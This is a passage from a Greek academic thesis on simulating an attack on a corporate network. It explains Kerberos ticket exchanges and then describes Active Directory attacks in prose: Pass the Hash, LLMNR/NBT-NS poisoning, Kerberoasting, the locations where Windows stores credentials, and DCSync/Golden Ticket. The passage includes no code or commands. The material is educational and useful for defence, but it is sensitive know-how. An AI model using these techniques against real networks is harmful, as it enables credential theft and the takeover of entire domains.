Η λύση του πρωτοκόλλου Kerberos σε αυτό το πρόβλημα είναι ο πελάτης 

να λάβει ένα προσωρινό κλειδί από το KDC. Αυτό το προσωρινό κλειδί είναι έγκυρο 

μόνο για αυτήν την συνεδρία. Όταν ένας χρήστης συνδέεται, ο πελάτης ζητά ένα 

εισιτήριο για το KDC, όπως θα ζητούσε ένα εισιτήριο για οποιαδήποτε άλλη 

υπηρεσία. Το KDC αποκρίνεται δημιουργώντας ένα κλειδί συνεδρίας σύνδεσης και 

ένα εισιτήριο για έναν ειδικό διακομιστή (την πλήρη υπηρεσία χορήγησης εισιτηρίων 

του KDC). Ένα αντίγραφο του κλειδιού συνεδρίας είναι ενσωματωμένο στο εισιτήριο 

και το εισιτήριο είναι κρυπτογραφημένο με το κύριο κλειδί του KDC. Ένα άλλο 

αντίγραφο του κλειδιού συνεδρίας είναι κρυπτογραφημένο με το κύριο κλειδί του 

χρήστη που προέρχεται από τον κωδικό πρόσβασης του χρήστη. Τόσο το εισιτήριο 

όσο και το κρυπτογραφημένο κλειδί περιόδου συνεδρίας αποστέλλονται στον 

πελάτη. 

Όταν ο πελάτης λαμβάνει την απάντηση του KDC, αποκρυπτογραφεί το 

κλειδί συνεδρίας σύνδεσης με το κύριο κλειδί του χρήστη που προέρχεται από τον 

κωδικό πρόσβασης του χρήστη. Ο πελάτης δεν χρειάζεται πλέον το κλειδί που 

προέρχεται από τον κωδικό πρόσβασης του χρήστη, επειδή θα χρησιμοποιεί πλέον 

το κλειδί περιόδου συνεδρίας για την αποκρυπτογράφηση του αντιγράφου 

οποιουδήποτε κλειδιού περιόδου συνεδρίας διακομιστή που λαμβάνει από το KDC. 

Ο πελάτης αποθηκεύει το κλειδί συνεδρίας σύνδεσης στην προσωρινή μνήμη 

εισιτηρίων μαζί με το εισιτήριό του για την πλήρη υπηρεσία χορήγησης εισιτηρίων 

του KDC. 

Το εισιτήριο για την πλήρη υπηρεσία έκδοσης εισιτηρίων ονομάζεται 

εισιτήριο εκχώρησης εισιτηρίων (TGT). Όταν ο πελάτης ζητά από το KDC ένα 

εισιτήριο για έναν διακομιστή, παρουσιάζει διαπιστευτήρια με τη μορφή ενός 

μηνύματος ελέγχου ταυτότητας και ένα εισιτήριο - σε αυτήν την περίπτωση ένα TGT 

- όπως θα παρουσίαζε διαπιστευτήρια σε οποιαδήποτε άλλη υπηρεσία. Η υπηρεσία 

χορήγησης εισιτηρίων ανοίγει το TGT με το κύριο κλειδί του χρήστη, εξάγει το κλειδί 

συνεδρίας σύνδεσης για αυτόν τον πελάτη και χρησιμοποιεί το κλειδί περιόδου 

σύνδεσης για την κρυπτογράφηση του αντιγράφου ενός κλειδιού περιόδου 

λειτουργίας του διακομιστή για τον διακομιστή. [2] 
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 Στο μοντέλο του Kerberos, όλα τα εισιτήρια έχουν χρονική σήμανση και 

έχουν περιορισμένη διάρκεια ζωής. Αυτό ελαχιστοποιεί τον κίνδυνο κάποιος 

κακόβουλος χρήστης να μπορέσει να υποκλέψει ή να σπάσει τα κρυπτογραφημένα 

δεδομένα και να τα χρησιμοποιήσει για να θέσει σε κίνδυνο το σύστημα. Στην 

ιδανική περίπτωση, κανένα εισιτήριο ελέγχου ταυτότητας δεν παραμένει έγκυρο για 

περισσότερο από το χρόνο που ένας κακόβουλος χρήστης θα χρειαστεί να σπάσει 

την κρυπτογράφηση. Τα εισιτήρια ελέγχου ταυτότητας είναι, από προεπιλογή, 

μοναδικά ανά συνεδρία, βελτιώνοντας περαιτέρω την ασφάλεια του συστήματος 

διασφαλίζοντας ότι κανένα εισιτήριο ελέγχου ταυτότητας δεν θα παραμείνει έγκυρο 

μετά την ολοκλήρωση μιας δεδομένης συνεδρίας. 

 

4.2.3 Ανταλλαγή κλειδιών βάσει Ticket Granting Service (TGS) 

Αφού καθοριστεί ένα εισιτήριο εκχώρησης εισιτηρίου (TGT) και κλειδί 

συνεδρίας για τον πελάτη, ο πελάτης μπορεί να ζητήσει ξεχωριστό κλειδί συνεδρίας 

και εισιτήριο για την υπηρεσία. 

 

Για να ζητήσει εισιτήριο για άλλη υπηρεσία: 

• Το Kerberos στο σταθμό εργασίας του χρήστη ζητά διαπιστευτήρια για την 

υπηρεσία στέλνοντας στο κέντρο διανομής κλειδιών (KDC), ένα μήνυμα 

τύπου KRB_TGS_REQ (Αίτημα παροχής υπηρεσιών εισιτηρίων Kerberos). 

Αυτό το μήνυμα αποτελείται από την ταυτότητα της υπηρεσίας για την οποία 

ο πελάτης ζητά διαπιστευτήρια, ένα μήνυμα ελέγχου ταυτότητας 

κρυπτογραφημένο με το νέο κλειδί συνεδρίας σύνδεσης του χρήστη και το 

TGT που λαμβάνεται από το Authentication Service Exchange. 

• Όταν το KDC λαμβάνει ένα KRB_TGS_REQ, αποκρυπτογραφεί το TGT με 

το μυστικό του κλειδί και εξάγει το κλειδί σύνδεσης του χρήστη. 

• Το KDC χρησιμοποιεί το κλειδί συνεδρίας σύνδεσης για την 

αποκρυπτογράφηση του μηνύματος ελέγχου ταυτότητας του χρήστη και το 

αξιολογεί. Εάν ο έλεγχος ταυτότητας περάσει τον έλεγχο, το KDC εξάγει τα 

δεδομένα εξουσιοδότησης του χρήστη από το TGT και παράγει ένα κλειδί 

συνεδρίας λειτουργίας για να μοιραστεί ο χρήστης με τον διακομιστή που 

ζητήθηκε. 



Προσομοίωση επίθεσης σε εταιρικό δίκτυο με χρήση ασύμμετρων τεχνικών 
 

Ορέστης Κοκκόλης                                                                                                                           39 
 

• Το KDC κρυπτογραφεί ένα αντίγραφο του κλειδιού συνεδρίας υπηρεσίας με 

το κλειδί σύνδεσης χρήστη. 

• Το KDC ενσωματώνει ένα άλλο αντίγραφο του κλειδιού συνεδρίας 

υπηρεσίας σε ένα εισιτήριο, μαζί με τα δεδομένα εξουσιοδότησης του χρήστη 

και κρυπτογραφεί το εισιτήριο με το κύριο κλειδί του διακομιστή. 

• Το KDC στέλνει αυτά τα διαπιστευτήρια πίσω στον πελάτη απαντώντας με 

ένα μήνυμα τύπου KRB_TGS_REP (Kerberos Ticket-Granting Service 

Reply). 

• Όταν ο πελάτης λάβει την απάντηση, αποκρυπτογραφεί το κλειδί συνεδρίας 

υπηρεσίας με το κλειδί συνεδρίας χρήστη και αποθηκεύει το κλειδί συνεδρίας 

υπηρεσίας στην προσωρινή μνήμη εισιτηρίων. 

• Ο πελάτης εξάγει το εισιτήριο στο διακομιστή και το αποθηκεύει στην 

προσωρινή μνήμη εισιτηρίων. [3] 
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ΚΕΦΑΛΑΙΟ 5 

 

5 Επιθέσεις σε Active Directory 

 

5.1 Pass the Hash (PtH) 

Στην κρυπτανάλυση και την ασφάλεια υπολογιστών, το PtH είναι μια τεχνική 

η οποία επιτρέπει στους επιτιθέμενους να αυθεντικοποιηθούν σε έναν 

απομακρυσμένο διακομιστή ή υπηρεσία χρησιμοποιώντας το NTLM ή το LM του 

κωδικού πρόσβασης ενός χρήστη, αντί να απαιτείται ο σχετικός κωδικός όπως 

συνήθως . Αντικαθιστά την ανάγκη κλοπής του κωδικού πρόσβασης απλού 

κειμένου, με απλώς κλοπή του κατακερματισμού και χρήση αυτού για τον έλεγχο 

ταυτότητας. 

Αφού ένας κακόβουλος χρήστης αποκτήσει έγκυρες τιμές ονόματος χρήστη 

και κατακερματισμένου κωδικού πρόσβασης χρήστη (με κάποιο τρόπο, 

χρησιμοποιώντας διαφορετικές μεθόδους και εργαλεία), τότε μπορεί να 

χρησιμοποιήσει αυτές τις πληροφορίες για έλεγχο ταυτότητας σε απομακρυσμένο 

διακομιστή ή υπηρεσία, χρησιμοποιώντας έλεγχο ταυτότητας LM ή NTLM χωρίς την 

ανάγκη να κάνει brute force στους κατακερματισμούς για την απόκτηση του κωδικού 

πρόσβασης (όπως απαιτούνταν πριν από τη δημοσίευση αυτής της τεχνικής). Η 

επίθεση εκμεταλλεύεται μια αδυναμία υλοποίησης στο πρωτόκολλο ελέγχου 

ταυτότητας, όπου ο κατακερματισμένος κωδικός πρόσβασης παραμένει στατικός 

από συνεδρία σε συνεδρία, μέχρι να αλλαχτεί. 

Αυτή η τεχνική μπορεί να εκτελεστεί έναντι οποιουδήποτε διακομιστή ή 

υπηρεσίας που δέχεται έλεγχο ταυτότητας LM ή NTLM, είτε εκτελείται σε 

υπολογιστή με Windows, είτε Unix είτε οποιοδήποτε άλλο λειτουργικό σύστημα. Σε 

συστήματα ή υπηρεσίες που χρησιμοποιούν έλεγχο ταυτότητας NTLM, οι κωδικοί 

πρόσβασης των χρηστών δεν αποστέλλονται ποτέ σε καθαρό κείμενο. Αντ’ αυτού, 

παρέχονται στο αιτούν σύστημα, ως κατακερματισμένα. 

Οι εγγενείς εφαρμογές των Windows ζητούν από τους χρήστες τον κωδικό 

πρόσβασης, στη συνέχεια, καλούν ένα API όπως το LsaLogonUser που μετατρέπει 

αυτόν τον κωδικό πρόσβασης σε μία ή δύο τιμές κατακερματισμού 

(κατακερματισμός LM ή NT) και στη συνέχεια αποστέλλει αυτό στον 
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απομακρυσμένο διακομιστή κατά τον έλεγχο ταυτότητας NTLM. Η ανάλυση του 

μηχανισμού αυτού μας δείχνει ότι δεν απαιτείται ο κωδικός πρόσβασης σε κείμενο 

για να ολοκληρωθεί επιτυχώς ο έλεγχος ταυτότητας δικτύου, αλλά χρειάζονται μόνο 

οι κατακερματισμοί. 

Εάν ένας κακόβουλος χρήστης έχει τον κατακερματισμό του κωδικού 

πρόσβασης ενός χρήστη, δεν χρειάζεται να κάνει brute force τον κωδικό 

πρόσβασης. Μπορεί απλά να χρησιμοποιήσει τον κατακερματισμό ενός αυθαίρετου 

λογαριασμού χρήστη που έχει συλλέξει, για τον έλεγχο ταυτότητας σε ένα 

απομακρυσμένο σύστημα, με αποτέλεσμα την πλαστοπροσωπία αυτού του 

χρήστη. Με άλλα λόγια, από την οπτική γωνία ενός κακόβουλου χρήστη, οι 

κατακερματισμοί είναι λειτουργικά ισοδύναμοι με τους αρχικούς κωδικούς 

πρόσβασης από τους οποίους δημιουργήθηκαν. [4] 

 

Υπάρχουν δύο πιθανά σενάρια: 

• Είτε ο χρήστης χρησιμοποιεί τα διαπιστευτήρια ενός τοπικού λογαριασμού 

του διακομιστή, οπότε ο διακομιστής έχει το κλειδί του χρήστη στην τοπική 

του βάση δεδομένων και θα μπορεί να πιστοποιήσει τον χρήστη. 

• Είτε σε περιβάλλον Active Directory, ο χρήστης χρησιμοποιεί έναν 

λογαριασμό domain κατά τον έλεγχο ταυτότητας, οπότε ο διακομιστής θα 

πρέπει να ζητήσει από τον Domain Controller να επαληθεύσει τις 

πληροφορίες που παρέχει ο χρήστης. 

 

Και στις δύο περιπτώσεις, ο έλεγχος ταυτότητας ξεκινά με μια φάση 

πρόκλησης / απόκρισης μεταξύ του πελάτη και του διακομιστή. Η διαδικασία 

πρόκλησης / απόκρισης χρησιμοποιείται έτσι ώστε ο διακομιστής να επαληθεύει ότι 

ο χρήστης γνωρίζει το κλειδί του λογαριασμού με τον οποίο γίνεται έλεγχος 

ταυτότητας, χωρίς να μεταβιβάζεται ο κωδικός πρόσβασης μέσω του δικτύου. Η 

διαδικασία αυτή ονομάζεται απόδειξη μηδενικής γνώσης.  

 

Υπάρχουν τρία βήματα σε αυτήν την ανταλλαγή: 

➔ Διαπραγμάτευση 

Ο πελάτης λέει στον διακομιστή ότι θέλει να πραγματοποιήσει έλεγχο ταυτότητας 

σε αυτόν (NEGOTIATE_MESSAGE). 
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➔ Πρόκληση 

Ο διακομιστής στέλνει μια πρόκληση στον πελάτη. Αυτό δεν είναι τίποτα 

περισσότερο από μια τυχαία τιμή μήκους 64-bit που αλλάζει με κάθε αίτημα ελέγχου 

ταυτότητας (CHALLENGE_MESSAGE). 

➔ Απάντηση 

Ο πελάτης κρυπτογραφεί την προηγουμένως ληφθείσα πρόκληση 

χρησιμοποιώντας μια κατακερματισμένη έκδοση του κωδικού πρόσβασης ως κλειδί 

και επιστρέφει αυτήν την κρυπτογραφημένη έκδοση στον διακομιστή, μαζί με το 

όνομα χρήστη (AUTHENTICATE_MESSAGE). 

 

Μετά από αυτές τις ανταλλαγές, ο διακομιστής διαθέτει δύο πράγματα: 

1. Την πρόκληση που έστειλε στον πελάτη. 

2. Την απάντηση του πελάτη που κρυπτογραφήθηκε με το μυστικό του. 

 

Για να οριστικοποιηθεί ο έλεγχος ταυτότητας, ο διακομιστής πρέπει μόνο να 

ελέγξει την εγκυρότητα της απόκρισης που έστειλε ο πελάτης.  

Πιο αναλυτικά, ο πελάτης χρησιμοποιεί μια κατακερματισμένη έκδοση του 

κωδικού πρόσβασης ως κλειδί για να αποφευχθεί η αποθήκευση κωδικών 

πρόσβασης χρήστη σε καθαρό κείμενο στον διακομιστή. Αυτό το κατακερματισμένο 

ονομάζεται κατακερματισμός NT, το οποίο δεν είναι παρά το αποτέλεσμα του 

αλγόριθμου κατακερματισμού MD4, χωρίς αλάτι. 

 

NT = MD4 (κωδικός πρόσβασης) 

 

Άρα, όταν ο πελάτης κάνει έλεγχο ταυτότητας, χρησιμοποιεί τον αλγόριθμο 

κατακερματισμού MD4 του κωδικού πρόσβασης για να κρυπτογραφήσει την 

πρόκληση. Είναι επομένως κατανοητό ότι σε περίπτωση που ένας κακόβουλος 

χρήστης γνωρίζει τον κατακερματισμό NT ενός τοπικού διαχειριστή ενός 

μηχανήματος, μπορεί εύκολα να πραγματοποιήσει έλεγχο ταυτότητας σε αυτόν τον 

υπολογιστή χρησιμοποιώντας αυτόν τον κατακερματισμό. Ομοίως, εάν έχει τον 

κατακερματισμό NT ενός χρήστη domain που είναι μέλος μιας τοπικής ομάδας 

διαχείρισης σε έναν κεντρικό υπολογιστή, μπορεί επίσης να πραγματοποιήσει 

έλεγχο ταυτότητας σε αυτόν τον κεντρικό υπολογιστή ως τοπικός διαχειριστής. 
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5.2 LLMNR / NBT-NS Poisoning and Relay 

Το LLMNR είναι ένα πρωτόκολλο εφαρμογής, βασισμένο στο DNS. Είναι 

δηλαδή, ένα σύστημα ονοματοδοσίας για δίκτυα υπολογιστών, που χρησιμοποιούν 

το πρωτόκολλο επιπέδου Internet IP. Ενώ το NBT-NS, ταυτοποιεί συστήματα σε 

ένα τοπικό δίκτυο με βάση το όνομα NetBIOS. Τα πρωτόκολλα αυτά είναι 

παρωχημένα και πρέπει να απενεργοποιούνται από τους διαχειριστές συστημάτων. 

Συγκεκριμένα, και οι δύο είναι φαινομενικά συνιστώσες άσχετες με την 

ασφάλεια, που επιτρέπουν σε μηχανήματα στο ίδιο υποδίκτυο να 

αλληλοβοηθούνται στον εντοπισμό κεντρικών υπολογιστών όταν αποτύχει το DNS. 

Το πρόβλημα προκύπτει όταν ένα μηχάνημα προσπαθεί να επικοινωνήσει 

με έναν συγκεκριμένο κεντρικό υπολογιστή, αλλά το DNS αποτύχει, τότε το 

μηχάνημα θα προσπαθήσει να ζητήσει από όλους τους άλλους υπολογιστές του 

τοπικού δικτύου τη σωστή διεύθυνση μέσω LLMNR ή NBT-NS. 

1. Ο επιτιθέμενος, αρκεί να ακούει στο δίκτυο όλη την DNS κίνηση, μέχρι 

κάποιος πελάτης να ζητήσει πρόσβαση σε κάποιο κόμβο που δεν υφίσταται. 

2. Ο DNS απαντάει πως δε γνωρίζει κάποιον. 

3. Ο πελάτης ρωτάει αν κάποιος άλλος κόμβος στο δίκτυο γνωρίζει την 

τοποθεσία του κόμβου αυτού. 

4. Ο επιτιθέμενος απαντάει στον πελάτη πως ο κόμβος που ψάχνει, είναι ο 

ίδιος. 

5. Ο πελάτης θεωρεί τον κακόβουλο κόμβο ως αξιόπιστο, και του στέλνει τα 

διαπιστευτήριά του (NTLMv2 hash). 
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Εικόνα 5-1 

LLMNR / NBT-NS Poisoning 

 

5.3 Kerberoast 

Στο 4.2.1 είδαμε σχετικά με τον τρόπο λειτουργίας του Kerberos πως ένας 

χρήστης ζητά TGS από τον ελεγκτή τομέα. Το μήνυμα KRB_TGS_REP αποτελείται 

από δύο μέρη: 

• Το πρώτο μέρος είναι το TGS του οποίου το περιεχόμενο είναι 

κρυπτογραφημένο με το κλειδί της ζητούμενης υπηρεσίας. 

• Το δεύτερο μέρος είναι ένα κλειδί συνεδρίας που θα χρησιμοποιηθεί μεταξύ 

του χρήστη και της υπηρεσίας. Το σύνολο κρυπτογραφείται 

χρησιμοποιώντας το κλειδί του χρήστη. 

 

Ένας χρήστης τομέα μπορεί να ζητήσει από έναν ελεγκτή τομέα ένα TGS για 

οποιαδήποτε υπηρεσία. Ο ρόλος του ελεγκτή τομέα δεν είναι να ελέγχει τα 
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δικαιώματα πρόσβασης. Ο μόνος ρόλος του, όταν ζητείται TGS, είναι να παρέχει 

πληροφορίες ασφαλείας που σχετίζονται με έναν χρήστη (μέσω του PAC). Είναι η 

υπηρεσία που πρέπει να ελέγξει τα δικαιώματα του χρήστη διαβάζοντας το PAC 

που παρέχεται στο TGS. 

Για παράδειγμα, το αίτημα TGS μπορεί να υποβληθεί καθορίζοντας 

αυθαίρετο Service Principal Name (SPN). Εάν αυτά τα Service Principal Name είναι 

καταχωρημένα στον Active Directory, ο ελεγκτής τομέα θα παρέχει μια πληροφορία 

κρυπτογραφημένη με το κλειδί του λογαριασμού που εκτελεί την υπηρεσία. Με 

αυτές τις πληροφορίες, ένας κακόβουλος χρήστης μπορεί να προσπαθήσει να 

ανακτήσει τον κωδικό πρόσβασης απλού κειμένου του λογαριασμού μέσω μιας 

επίθεσης brute force. 

Οι περισσότεροι από τους λογαριασμούς που εκτελούν υπηρεσίες είναι 

λογαριασμοί συστήματος και ο κωδικός πρόσβασης είναι πολύ μεγάλος, 

περίπλοκος και εντελώς τυχαίος, επομένως δεν είναι πραγματικά ευάλωτοι σε 

αυτόν τον τύπο επίθεσης. Ωστόσο, υπάρχουν ορισμένες υπηρεσίες που 

εκτελούνται από λογαριασμούς των οποίων ο κωδικός πρόσβασης έχει επιλεγεί 

από ανθρώπους. Είναι αυτοί οι λογαριασμοί που είναι πολύ πιο απλοί να 

συμβιβαστούν μέσω βίαιης επίθεσης, έτσι είναι αυτοί οι λογαριασμοί που 

αποτελούν στόχο μιας επίθεσης Kerberoast. 

 

5.4 Διαπιστευτήρια σε μνήμη/μέσο αποθήκευσης 

Η επίθεση αυτή, αφορά τη ανάκτηση διαπιστευτηρίων από τη μνήμη ή από 

το μέσο αποθήκευσης, και σχετίζεται άμεσα με τις τοποθεσίες που τα Windows 

αποθηκεύουν τις πληροφορίες αυτές. 

Οι ακόλουθες ενότητες περιγράφουν πού αποθηκεύονται διαπιστευτήρια σε 

λειτουργικά συστήματα Windows, τα οποία αποτελούνται από έναν συνδυασμό 

ονόματος λογαριασμού και ελέγχου ταυτότητας. Αυτά αποθηκεύονται και 

ανακτώνται από τις ακόλουθες τοποθεσίες ανάλογα με την κατάσταση της περιόδου 

σύνδεσης του χρήστη, η οποία μπορεί να είναι ενεργή ή ανενεργή, και τοπική ή 

δικτυωμένη. 

 

• Βάση δεδομένων διαχείρισης λογαριασμών ασφαλείας 
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Η βάση δεδομένων SAM αποθηκεύεται ως αρχείο στην τοπική μονάδα σκληρού 

δίσκου και είναι το επίσημο αποθετήριο διαπιστευτηρίων για τοπικούς 

λογαριασμούς σε κάθε υπολογιστή με Windows. Αυτή η βάση δεδομένων περιέχει 

όλα τα διαπιστευτήρια που είναι τοπικά σε αυτόν τον συγκεκριμένο υπολογιστή, 

συμπεριλαμβανομένου του ενσωματωμένου τοπικού λογαριασμού διαχειριστή και 

τυχόν άλλων τοπικών λογαριασμών για αυτόν τον υπολογιστή. Η βάση δεδομένων 

SAM αποθηκεύει πληροφορίες για κάθε λογαριασμό, συμπεριλαμβανομένου του 

ονόματος χρήστη και του κατακερματισμένου κωδικού πρόσβασης NT. Από 

προεπιλογή, η βάση δεδομένων SAM δεν αποθηκεύει κατακερματισμούς LM σε 

τρέχουσες εκδόσεις των Windows. Κανένας κωδικός πρόσβασης δεν αποθηκεύεται 

ποτέ σε μια βάση δεδομένων SAM - μόνο ο κωδικός κατακερματισμού. Ο 

κατακερματισμός κωδικού πρόσβασης NT είναι ένα κατακερματισμένο MD4 του 

κωδικού πρόσβασης του λογαριασμού. Αυτό σημαίνει ότι εάν δύο λογαριασμοί 

χρησιμοποιούν τον ίδιο κωδικό πρόσβασης, θα έχουν επίσης το ίδιο NT. 

 

• Μνήμη διεργασίας LSASS 

Η Local Security Authority Subsystem Service (LSASS) αποθηκεύει διαπιστευτήρια 

στη μνήμη για λογαριασμούς χρηστών με ενεργές περιόδους λειτουργίας στα 

Windows. Αυτό επιτρέπει στους χρήστες να έχουν απρόσκοπτη πρόσβαση σε 

πόρους δικτύου, όπως κοινόχρηστα αρχεία, διακομιστές ηλεκτρονικού 

ταχυδρομείου και τοποθεσίες SharePoint, χωρίς να εισάγουν ξανά τα 

διαπιστευτήριά τους για κάθε απομακρυσμένη υπηρεσία. Το LSASS μπορεί να 

αποθηκεύσει διαπιστευτήρια σε πολλές μορφές, όπως: 

➔ Κρυπτογραφημένο κείμενο 

➔ Εισιτήρια Kerberos (TGTs, εισιτήρια υπηρεσίας) 

➔ Κατακερματισμένα NT 

➔ Κατακερματισμένα LM 

 

Εάν ένας χρήστης συνδεθεί στα Windows με έναν κωδικό πρόσβασης που 

είναι συμβατός με κατακερματισμό LM, ο έλεγχος ταυτότητας θα υπάρχει στη 

μνήμη. Η αποθήκευση διαπιστευτηρίων απλού κειμένου στη μνήμη δεν μπορεί να 

απενεργοποιηθεί, ακόμα και αν οι πάροχοι διαπιστευτηρίων που τους απαιτούν 

είναι απενεργοποιημένοι. Τα αποθηκευμένα διαπιστευτήρια σχετίζονται άμεσα με 

τις περιόδους σύνδεσης LSASS που έχουν ξεκινήσει από την τελευταία 
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επανεκκίνηση και δεν έχουν κλείσει. Για παράδειγμα, οι περίοδοι σύνδεσης LSA με 

αποθηκευμένα διαπιστευτήρια LSA δημιουργούνται όταν ένας χρήστης κάνει 

οποιοδήποτε από τα ακόλουθα: 

➔ Συνδέεται σε μια τοπική περίοδο λειτουργίας ή μια συνεδρία RDP στον 

υπολογιστή. 

➔ Εκτελεί μια εργασία χρησιμοποιώντας την επιλογή RunAs. 

➔ Εκτελεί μια ενεργή υπηρεσία Windows στον υπολογιστή. 

➔ Εκτελεί προγραμματισμένη εργασία ή εργασία δέσμης. 

➔ Εκτελεί μια εργασία στον τοπικό υπολογιστή χρησιμοποιώντας ένα εργαλείο 

απομακρυσμένης διαχείρισης. 

 

• LSA στη μονάδα αποθήκευσης 

Το Local Security Authority (LSA) είναι ένα κομμάτι δεδομένων που είναι 

προσβάσιμο μόνο σε διεργασίες του λογαριασμού SYSTEM. Μερικά από αυτά τα 

δεδομένα είναι διαπιστευτήρια που πρέπει να διατηρηθούν μετά την επανεκκίνηση 

και αποθηκεύονται σε κρυπτογραφημένη μορφή στη μονάδα αποθήκευσης. Στα 

διαπιστευτήρια που αποθηκεύονται ως μυστικά LSA ενδέχεται να περιλαμβάνονται: 

➔ Κωδικοί πρόσβασης λογαριασμού για τον λογαριασμό AD DS του 

υπολογιστή. 

➔ Κωδικοί πρόσβασης λογαριασμού για υπηρεσίες Windows που έχουν 

διαμορφωθεί στον υπολογιστή. 

➔ Κωδικοί πρόσβασης λογαριασμού για διαμορφωμένες προγραμματισμένες 

εργασίες. 

➔ Κωδικοί πρόσβασης λογαριασμού για ομάδες εφαρμογών IIS και 

ιστότοπους. 

 

• Βάση δεδομένων AD DS (NTDS.DIT) 

Η βάση δεδομένων Active Directory Domain Services (AD DS) αποτελεί το βασικό 

αποθετήριο αποθήκευσης διαπιστευτηρίων για όλους τους λογαριασμούς χρηστών 

και υπολογιστών σε έναν τομέα AD DS. Οι δύο τύποι ελεγκτών τομέα στο AD DS 

που διαχειρίζονται διαπιστευτήρια διαφορετικά είναι: 

➔ Εγγράψιμοι 
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Κάθε ελεγκτής τομέα με δυνατότητα εγγραφής στον τομέα περιέχει ένα πλήρες 

αντίγραφο της βάσης δεδομένων AD DS του τομέα, συμπεριλαμβανομένων των 

διαπιστευτηρίων λογαριασμού για όλους τους λογαριασμούς στον τομέα. 

 

➔ Μόνο για ανάγνωση 

Οι ελεγκτές τομέα μόνο για ανάγνωση (RODCs) διαθέτουν μερικό τοπικό αντίγραφο 

με διαπιστευτήρια για ένα επιλεγμένο υποσύνολο των λογαριασμών στον τομέα. 

Από προεπιλογή, τα RODC δεν διαθέτουν αντίγραφο λογαριασμών προνομιούχων 

λογαριασμών τομέων. Η βάση δεδομένων αποθηκεύει έναν αριθμό 

χαρακτηριστικών για κάθε λογαριασμό, ο οποίος περιλαμβάνει τύπους ονομάτων 

χρηστών και τα ακόλουθα: 

• κατακερματισμένο NT για τον τρέχοντα κωδικό πρόσβασης. 

• κατακερματισμένο NT για το ιστορικό κωδικού πρόσβασης (εάν έχει 

ρυθμιστεί). 

Οι τιμές κατακερματισμού NT διατηρούνται επίσης στο AD DS για προηγούμενους 

κωδικούς πρόσβασης για την επιβολή του ιστορικού κωδικού πρόσβασης κατά τη 

διάρκεια των εργασιών αλλαγής κωδικού πρόσβασης. Ο αριθμός των τιμών 

κατακερματισμού ιστορικού κωδικού πρόσβασης που διατηρούνται είναι ίσος με τον 

αριθμό κωδικών πρόσβασης που έχουν διαμορφωθεί στην πολιτική επιβολής 

ιστορικού κωδικών πρόσβασης. Οι κατακερματισμοί LM μπορούν επίσης να 

αποθηκευτούν στη βάση δεδομένων AD DS ανάλογα με την έκδοση του 

λειτουργικού συστήματος του ελεγκτή τομέα, τις ρυθμίσεις διαμόρφωσης και τη 

συχνότητα αλλαγής του κωδικού πρόσβασης. [5] 

 

5.5 DCSync / Golden Ticket 

Αυτού του τύπου οι επιθέσεις προϋποθέτουν πως ο επιτιθέμενος έχει ήδη 

πρόσβαση στο ελεγκτή τομέα (Domain Controller), και μάλιστα με αυξημένα 

δικαιώματα, όπου πρακτικά αυτό σημαίνει πως έχει αρκετά εκτενή έλεγχο του 

ελεγκτή τομέα και συνεπώς, του δικτύου για το οποίο αυτός είναι υπεύθυνος. Το 

DCSync διευκολύνει την πρόσβαση χωρίς να χρειάζεται να εκτελέσουμε κώδικα ή 

να συνδεθούμε στον ελεγκτή, προσπερνώντας έτσι τα περισσότερα μέσα 

ανίχνευσης και ελέγχου. Αυτή η συγκεκριμένη τεχνική επίθεσης έχει ορισμένους 

περιορισμούς, αλλά παρ' όλα αυτά, είναι ένα από τα πιο καταστροφικά εργαλεία 
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που έχει στη διάθεσή του ένας επιτιθέμενος καθώς μπορεί να αυξήσει τα 

δικαιώματά του και να μετακινηθεί πλευρικά σε ένα συμβιβασμένο δίκτυο. 

Οι ελεγκτές τομέα είναι κομβικής σημασίας σε περιβάλλοντα Active 

Directory. Αυτοί οι διακομιστές φιλοξενούν τις βάσεις δεδομένων Active Directory 

Domain Services και διαχειρίζονται αιτήματα ταυτοποίησης χρήστών σε υπηρεσίες 

που βρίσκονται στον τομέα. Ένας κακόβουλος χρήστης που αποκτά προνομιακή 

πρόσβαση στον ελεγκτή τομέα θέτει σε κίνδυνο την αξιοπιστία ολόκληρων δασών 

της υπηρεσίας καταλόγου του Active Directory. Έχει τη δυνατότητα τροποποίησης 

βάσεων δεδομένων Active Directory, αλλά και πρόσβαση και δυνατότητα για 

παραβίαση άλλων λογαριασμών χρηστών του Active Directory. Επίσης μπορεί να 

πραγματοποιήσει περαιτέρω επιθέσεις μετά την εκμετάλλευση. 

 

Το παρακάτω είναι μια σύνοψη του τρόπου λειτουργίας της επίθεσης: 

• Ένας κακόβουλος χρήστης παραβιάζει έναν λογαριασμό με τα δικαιώματα 

εκτέλεσης αναπαραγωγής τομέα (π.χ. Local Admin, Domain Admin, 

Enterprise Admin). 

• Μόλις ληφθούν τα κατάλληλα δικαιώματα, ο κακόβουλος χρήστης αξιοποιεί 

την εντολή μπορεί να ανακτήσει τους κατακερματισμούς κωδικού 

πρόσβασης από την υπηρεσία καταλόγου Active Directory από τη μνήμη. 

• Μόλις ληφθεί, ο κακόβουλος χρήστης μπορεί να δημιουργήσει πλαστά 

εισιτήρια Kerberos για πρόσβαση σε οποιονδήποτε πόρο που είναι 

συνδεδεμένος στην υπηρεσία καταλόγου Active Directory. 

 

Η επίθεση DCSync προσομοιώνει τη συμπεριφορά ενός ελεγκτή τομέα και 

ζητά από άλλους ελεγκτές τομέα να αναπαράγουν πληροφορίες χρησιμοποιώντας 

το πρωτόκολλο απομακρυσμένης αναπαραγωγής καταλόγου (MS-DRSR). Επειδή 

το MS-DRSR είναι μια έγκυρη και απαραίτητη λειτουργία του Active Directory, δεν 

μπορεί να απενεργοποιηθεί. Ενώ οι δυνατότητες αναπαραγωγής τομέα ελέγχονται 

από τα δικαιώματα αναπαραγωγής που έχουν οριστεί στον τομέα (ειδικά τα 

δικαιώματα αναπαραγωγής όλων και αναπαραγωγής καταλόγου), περιορίζονται 

από προεπιλογή σε διαχειριστές τομέα, τοπικούς διαχειριστές, διαχειριστές ελεγκτή 

τομέα, είναι δυνατό να εκχωρηθούν σε οποιοδήποτε λογαριασμό ή ομάδα. 



Προσομοίωση επίθεσης σε εταιρικό δίκτυο με χρήση ασύμμετρων τεχνικών 
 

Ορέστης Κοκκόλης                                                                                                                           50 
 

Εργαστηριακό Μέρος 

ΚΕΦΑΛΑΙΟ 6 

 

ΣΤΗΣΙΜΟ ΤΗΣ ΥΠΟΔΟΜΗΣ ΚΑΙ ΕΠΙΘΕΣΗ 

 

Το σενάριο της επίθεσης αφορά τη διείσδυση σε έναν οργανισμό, με την 

εμφύτευση μιας συσκευής usb που μοιάζει με ένα memory stick και είναι φορτωμένη 

